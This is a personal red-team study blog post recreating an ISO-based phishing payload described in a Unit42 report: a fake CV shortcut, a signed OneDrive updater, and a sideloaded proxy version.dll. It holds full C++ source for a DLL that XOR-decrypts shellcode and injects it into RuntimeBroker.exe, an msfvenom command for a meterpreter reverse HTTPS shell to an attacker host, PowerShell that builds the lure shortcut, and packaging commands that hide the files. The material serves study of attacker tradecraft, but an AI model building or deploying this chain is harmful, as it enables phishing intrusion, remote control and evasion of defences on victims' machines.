Recreating an ISO Payload for Fun and No Profit
Credits & Disclaimer
Credits & Disclaimer (CLICK to Expand)There is no novel research/content in this blog post, nor do I claim any work in this blog post to be mine (it’s not). This post is just a personal study note that I use for personal reasons while I study others’ work regarding offensive security tradecraft. All credits go to the authors below, and many more.
Update Regarding MotW (11/8/2022)
On 11/8/2022, Bill Demirkapi from Microsoft stated that payloads inside ISO will now have the same MotW (Mark of the Web) as that of the ISO's.
https://twitter.com/BillDemirkapi/status/1590062142962561024
Summary
This post contains my personal best effort to recreate the initial access payload shown in the PaloAltoNetworks Unit42's (hereinafter PAN) blog post. Specifically, the payload consists of an ISO file that contains on-disk shellcode, DLL sideloading payloads, and a LNK file to trigger the DLL sideloading.
( PAN's blog post attributed the attackers to APT29. However, since I saw some doubts around the community on the certainty of the attribution, I'll just refer to "the attackers" in this blog post. )
Why?
- The more I learned different TTPs in my free time, I felt like I was only stacking fragmented knowledge. For example, I learned to create LNK files, DLL sideloading, and ISO payloads, but never had the opportunity to put everything together (as I'm not a professional red teamer).
- The initial access chain contained some of the TTPs I learned recently. This project helped me to solidify and combine the fragmented knowledge I learned.
- Recreating initial access payloads used in attacks help me understand what kind of TTPs are actually being used in the real world.
Initial Access Payload
Based on the PAN blog post, the attackers used an ISO payload with DLL sideloading, on-disk shellcode, and a LNK file. Below is a diagram from the blog post, which I modified a bit:
The initial payload starts as an ISO file. Once the ISO file is mounted, it shows the following payloads:
Type | Name | Description |
---|---|---|
ISO | Roshan_CV.iso | ISO file that gets mounted and extracts payloads |
LNK | Roshan-Bandara-CV-Dialog.lnk | Windows shortcut file which starts OneDriveUpdater.exe through cmd.exe |
EXE | OneDriverUpdater.exe | A legitimate digitally signed Microsoft PE binary that is used to update OneDrive |
DLL | version.dll | Proxy DLL that gets DLL sideloaded |
DLL | vresion.dll | Legitimate version.dll that is digitally signed by Microsoft |
Shellcode | OneDrive.Update | Shellcode that gets executed by version.dll |
The payload gets executed through the following steps:
- The ISO file extracts all the payloads listed in the table above.
- Victim user clicks the LNK file. The LNK file starts
cmd.exe
which then starts theOneDriveUpdater.exe
. OneDriveUpdater.exe
sideloads the attacker'sversion.dll
.version.dll
reads the shellcode (OneDrive.Update
) from disk, decrypts it using XOR, and injects the shellcode into theRuntimeBroker.exe
process.- Any legitimate function calls to the
version.dll
gets proxied to the legitimate version.dll library -vresion.dll
Based on the details above, let's create the payloads.
0 - Shellcode
The attackers used a shellcode of Brute Ratel C4's agent (badger). However, since I don't have the money to buy licenses for CobaltStrike or BR, let's use the good old meterpreter. Note that any shellcode will work, from sliver to donut'ed Grunt from Covenant.
Make sure to XOR encrypt the shellcode while using msfvenom. The actual XOR key that the attackers used was - jikoewarfkmzsdlhfnuiwaejrpaw
.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=<ip> lport=<port> f raw -o /root/attack/OneDrive.Update exitfunc=thread --encrypt xor --encrypt-key "jikoewarfkmzsdlhfnuiwaejrpaw" exitfunc=thread -v shellcode
1 - OneDriveUpdater and Legitimate version.dll
I obtained the OneDriveUpdater.exe
through malshare by the IoC hashes that was listed in the PAN's blog post. Specifically, this sample was used.
I was aware that version.dll
was infamous(?) for DLL sideloading with the MS Teams binary. However, I wasn't sure where it was, so procmon with the following filters was used to find the location of the file. Alternatively, WFH from ConsciousHacker can be used to locate DLLs that can be sideloaded. After finding the location (duh it was c:\windows\system32), I copied over the version.dll
to the working directory.
2 - DLL Sideloading
SharpDLLProxy
To create the proxy DLL, I used SharpDLLProxy by @Flangvik . Git clone, compile, and copy over the shellcode file and the version.dll
file in the directory where SharpDLLProxy
is. Then, run it.
cp c:\windows\system32\version.dll .
.\SharpDllProxy.exe --dll .\version.dll --payload .\OneDrive.Update
SharpDLLProxy will create a DLL and a .c
file. The DLL is just a renamed version.dll
- rename the file to vresion.dll
. Renaming the DLL is not necessary, but I just wanted to mimic the filenames from the blog post.
.c
file is the source code that will be compiled to the malicious version.dll
file. This source code needs to be modified to match the TTPs that the attackers used.
Modifying proxy DLL
The version_pragma.c
file is the file that needs to be compiled into the malicious proxy DLL - version.dll
. Open up Visual Studio (or any IDE) and create a Dynamic-Link Library (DLL) C++ project. Make sure to name the project to version
.
The source code needs some modification to mimic the TTP of the attackers. The 10-step subroutine can be found in the PAN blog post with the specific section "Modification of Version.dll".
My version of version.dll
source code can be found here - Github Repo Link
The repo also contains a console version of the payload for debugging purposes with the MessageBox shellcode.
Important source codes are copied/pasted below.
Modified dllmain.cpp (CLICK to expand)
#include "pch.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <stdlib.h>
#include "CreateSection.h"
#pragma comment(lib, "ntdll")
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)
// The DLL's name was changed from tmpXXXX to "vresion", because that's the legitimate DLL's changed name.
#pragma comment(linker, "/export:GetFileVersionInfoA=vresion.GetFileVersionInfoA,@1")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=vresion.GetFileVersionInfoByHandle,@2")
#pragma comment(linker, "/export:GetFileVersionInfoExA=vresion.GetFileVersionInfoExA,@3")
#pragma comment(linker, "/export:GetFileVersionInfoExW=vresion.GetFileVersionInfoExW,@4")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=vresion.GetFileVersionInfoSizeA,@5")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExA=vresion.GetFileVersionInfoSizeExA,@6")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=vresion.GetFileVersionInfoSizeExW,@7")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=vresion.GetFileVersionInfoSizeW,@8")
#pragma comment(linker, "/export:GetFileVersionInfoW=vresion.GetFileVersionInfoW,@9")
#pragma comment(linker, "/export:VerFindFileA=vresion.VerFindFileA,@10")
#pragma comment(linker, "/export:VerFindFileW=vresion.VerFindFileW,@11")
#pragma comment(linker, "/export:VerInstallFileA=vresion.VerInstallFileA,@12")
#pragma comment(linker, "/export:VerInstallFileW=vresion.VerInstallFileW,@13")
#pragma comment(linker, "/export:VerLanguageNameA=vresion.VerLanguageNameA,@14")
#pragma comment(linker, "/export:VerLanguageNameW=vresion.VerLanguageNameW,@15")
#pragma comment(linker, "/export:VerQueryValueA=vresion.VerQueryValueA,@16")
#pragma comment(linker, "/export:VerQueryValueW=vresion.VerQueryValueW,@17")
// All credits to https://github.com/peperunas/injectopi/blob/master/CreateSection/CreateSection.cpp
// and https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/#Modification-of-Versiondll
BOOL LoadNtdllFunctions() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
ZwOpenProcess = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID))GetProcAddress(ntdll, "ZwOpenProcess");
if (ZwOpenProcess == NULL) return FALSE;
ZwCreateSection = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE))
GetProcAddress(ntdll, "ZwCreateSection");
if (ZwCreateSection == NULL) return FALSE;
NtMapViewOfSection = (NTSTATUS(NTAPI*)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG))
GetProcAddress(ntdll, "NtMapViewOfSection");
if (NtMapViewOfSection == NULL) return FALSE;
ZwCreateThreadEx = (NTSTATUS(NTAPI*)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, PVOID))
GetProcAddress(ntdll, "ZwCreateThreadEx");
if (ZwCreateThreadEx == NULL) return FALSE;
NtDelayExecution = (NTSTATUS(NTAPI*)(BOOL, PLARGE_INTEGER))GetProcAddress(ntdll, "NtDelayExecution");
if (NtDelayExecution == NULL) return FALSE;
ZwClose = (NTSTATUS(NTAPI*)(HANDLE))GetProcAddress(ntdll, "ZwClose");
if (ZwClose == NULL) return FALSE;
return TRUE;
}
HANDLE getProcHandlebyName(const char* procName) {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
NTSTATUS status = NULL;
HANDLE hProc = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry)) {
do {
if (strcmp((entry.szExeFile), procName) == 0) {
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid = { (HANDLE)entry.th32ProcessID, NULL };
InitializeObjectAttributes(&oa, nullptr, 0, nullptr, nullptr);
// 3. Call the Windows API ntdll ZwOpenProcess using the process ID from step 1. The process is opened with full control access.
status = ZwOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);
if (!NT_SUCCESS(status)) {
continue;
}
return hProc;
}
} while (Process32Next(snapshot, &entry));
}
ZwClose(snapshot);
return NULL;
}
// credit: Sektor7 RTO Malware Essential Course
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
if (LoadNtdllFunctions() == FALSE) {
printf("[-] Failed to load NTDLL function\n");
return -1;
}
// 1. Enumerate all process and locate process for RuntimeBroker.exe
// https://stackoverflow.com/questions/865152/how-can-i-get-a-process-handle-by-its-name-in-c
HANDLE hProc = getProcHandlebyName("RuntimeBroker.exe");
if (hProc == NULL) {
exit(0);
}
// 2. Read the payload file OneDrive.Update from the current working directory.
FILE* fp;
size_t shellcodeSize;
unsigned char* shellcode;
fp = fopen("OneDrive.Update", "rb");
fseek(fp, 0, SEEK_END);
shellcodeSize = ftell(fp);
fseek(fp, 0, SEEK_SET);
shellcode = (unsigned char*)malloc(shellcodeSize);
fread(shellcode, shellcodeSize, 1, fp);
char key[] = "jikoewarfkmzsdlhfnuiwaejrpaw";
// 4. Decrypt the payload file using the XOR encryption algorithm with a 28-byte key of: jikoewarfkmzsdlhfnuiwaejrpaw
XOR((char*)shellcode, shellcodeSize, key, sizeof(key));
HANDLE hSection = NULL;
NTSTATUS status = NULL;
SIZE_T size = 4096;
LARGE_INTEGER sectionSize = { size };
PVOID pLocalView = NULL, pRemoteView = NULL;
SIZE_T scLength = sizeof(shellcode);
int viewUnMap = 2;
// 5. Call the Windows API NtCreateSection, which creates a block of memory that can be shared between processes.
if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) {
return -1;
}
// 6. Two calls into the Windows API NtMapViewOfSection. The first call maps the contents of the decrypted payload into the current process memory space.
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(),
&pLocalView, NULL, NULL, NULL,
&size, viewUnMap, NULL, PAGE_READWRITE)) != STATUS_SUCCESS) {
return -1;
}
// Use for in-file shellcode
//memcpy(pLocalView, shellcode, sizeof(shellcode));
// Use for on-disk shellcode
memcpy(pLocalView, shellcode, shellcodeSize);
// 6. Second call maps the contents into the Runtimebroker.exe memory space.
if ((status = NtMapViewOfSection(hSection, hProc, &pRemoteView, NULL, NULL, NULL,
&size, viewUnMap, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
return -1;
}
// 7. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds
LARGE_INTEGER interval;
interval.QuadPart = -1 * (int)(4270 * 10000.0f);
if ((status = NtDelayExecution(TRUE, &interval)) != STATUS_SUCCESS) {
printf("[-] Cannot delay execution. Error code: %08X\n", status);
return -1;
}
// 8. Call the Windows API NtCreateThreadEx.
HANDLE hThread = NULL;
if ((status = ZwCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, pRemoteView, NULL, CREATE_SUSPENDED, 0, 0, 0, 0)) != STATUS_SUCCESS) {
return -1;
}
ResumeThread(hThread);
// 9. Calls the Windows API NtDelayExecution and sleeps (pauses execution) for ~4.27 seconds
interval.QuadPart = -1 * (int)(4270 * 10000.0f);
if ((status = NtDelayExecution(TRUE, &interval)) != STATUS_SUCCESS) {
printf("[-] Cannot delay execution. Error code: %08X\n", status);
return -1;
}
// 10. Finished.
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// https://gist.github.com/securitytube/c956348435cc90b8e1f7
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
Sleep(5000);
break;
}
return TRUE;
}
CreateSection.h (CLICK to expand)
//All credits to https://github.com/peperunas/injectopi/tree/master/CreateSection
//@file CreateSection.h
//@author Giulio De Pasquale, hasherezade
//@brief Section Hijacking
#pragma once
#include <Windows.h>
#include <stdio.h>
#if !defined NTSTATUS
typedef LONG NTSTATUS;
#endif
#define STATUS_SUCCESS 0
#if !defined PROCESSINFOCLASS
typedef LONG PROCESSINFOCLASS;
#endif
#if !defined PPEB
typedef struct _PEB* PPEB;
#endif
#if !defined PROCESS_BASIC_INFORMATION
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress;
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
#endif;
typedef LONG NTSTATUS, * PNTSTATUS;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) == STATUS_SUCCESS)
typedef OBJECT_ATTRIBUTES* POBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef NTSTATUS(WINAPI* PFN_ZWQUERYINFORMATIONPROCESS)(HANDLE,
PROCESSINFOCLASS, PVOID,
ULONG, PULONG);
NTSTATUS(NTAPI* ZwQueryInformationProcess)
(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
NTSTATUS(NTAPI* ZwCreateSection)
(_Out_ PHANDLE SectionHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize, _In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle);
NTSTATUS(NTAPI* NtMapViewOfSection)
(_In_ HANDLE SectionHandle, _In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress, _In_ ULONG_PTR ZeroBits, _In_ SIZE_T CommitSize,
_Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition, _In_ ULONG AllocationType,
_In_ ULONG Win32Protect);
NTSTATUS(NTAPI* ZwCreateThreadEx)
(_Out_ PHANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ProcessHandle,
_In_ PVOID StartRoutine, _In_opt_ PVOID Argument, _In_ ULONG CreateFlags,
_In_opt_ ULONG_PTR ZeroBits, _In_opt_ SIZE_T StackSize,
_In_opt_ SIZE_T MaximumStackSize, _In_opt_ PVOID AttributeList);
NTSTATUS(NTAPI* ZwUnmapViewOfSection)
(_In_ HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress);
NTSTATUS(NTAPI* ZwClose)(_In_ HANDLE Handle);
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
NTSTATUS(NTAPI* ZwOpenProcess)
(
PHANDLE ProcessHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientID
);
NTSTATUS(NTAPI* NtDelayExecution)(
BOOL Alertable,
PLARGE_INTEGER DelayInterval
);
When using the GitHub repo, make sure the Project Charset is correctly set. Right click the project -> Properties -> Advanced -> Character Set -> Set to Use Multi-byte Character Set
for the correct Configuration & Platform.
With the modified source code, compile it to the version.dll
.
3 - LNK
The LNK file is used to execute OneDriveUpdater.exe
. The following snippet from DerbyCon6 - Attacking Evil Corp - Anatomy of a Corporate Hack was used to create the LNK file. The only difference is that I used wordpad's icon instead of MS Office Word since my testing VM didn't have it.
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\testdefender\Roshan-Bandara_CV_Dialog.lnk") # Changeme!
$link.windowstyle = "7"
$link.targetpath = "%windir%/system32/cmd.exe"
$link.iconlocation = "C:\Program Files (x86)\Windows NT\Accessories\WordPad.exe"
$link.arguments = "/c start OneDriveStandaloneUpdater.exe"
$link.save()
4 - ISO
To create the ISO payload, PackMyPayload from mgeeky was used. The tool originally had a problem with creating ISOs with files that had hidden attributes using attrib.exe +h <file>
.
So I created a PR that fixes the problem above. PMP now has a--hide
flag that can be used to hide files within the ISO.
First, create a directory and move all of the payloads into the directory.
- OneDrive.Update - meterpreter shellcode
- version.dll - Malicious proxy DLL
- vresiondll - Actual version.dll that was renamed
- OneDriveUpdater.exe - Legitimate OneDrive updater binary
- Roshan-Bandara_CV_Dialog.lnk - LNK file
Then, run PMP. Hide all of the payloads except LNK, since the victim user has to click the LNK file.
python .\PackMyPayload.py C:\opt\dllsideloading\ C:\testdefender\Roshan_CV.iso --out-format iso --hide OneDrive.Update,OneDriveStandaloneUpdater.exe,version.dll,vresion.dll
< ... >
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: /OneDrive.Update
Adding file: /OneDriveStandaloneUpdater.exe
Adding file: /Roshan-Bandara_CV_Dialog.lnk
Adding file: /version.dll
Adding file: /vresion.dll
Hiding file: //OneDrive.Update
Hiding file: //OneDriveStandaloneUpdater.exe
Hiding file: //version.dll
Hiding file: //vresion.dll
[+] Generated file written to (size: 4327424): C:\testdefender\Roshan_CV.iso
Result
As shown in the gif above, the payload executes successfully.
Conclusion
With the fall of maldocs and VBA macros, the adversaries are using different types of attachments for phishing - as stated in mgeeky's WarCon22 presentation. Additionally, DLL Sideloading seems to be a reliable and effective way to proxy the execution of code through legitimate binaries.
This small project helped me to solidify and combine the fragmented knowledge that I had with DLL sideloading, ISO payloads, and LNK files. For future research, I'm thinking about rebuilding my homelab with Elastic EDR to see the process tree and some detection methods/IoCs regarding this TTP. Changing the payload to use some syscalls would be nice as well.
Happy hacking!
Reference
https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/
https://mgeeky.tech/uploads/WarCon22%20-%20Modern%20Initial%20Access%20and%20Evasion%20Tactics.pdf
- PaloAltoNetworks Unit42
- Peperunas's injectopi
- Sektor7's RTO Malware Essential Course
- mgeeky's PackMyPayload
- Flangvik's SharpDllProxy
Special Thanks
@mgeeky - For the WarCon22 presentation - Modern Initial Access and Evasion Tactics (linked in References section). Online classes when?!
@knavesec - For teaching me the keyword DLL sideloading and making me to go down the rabbit hole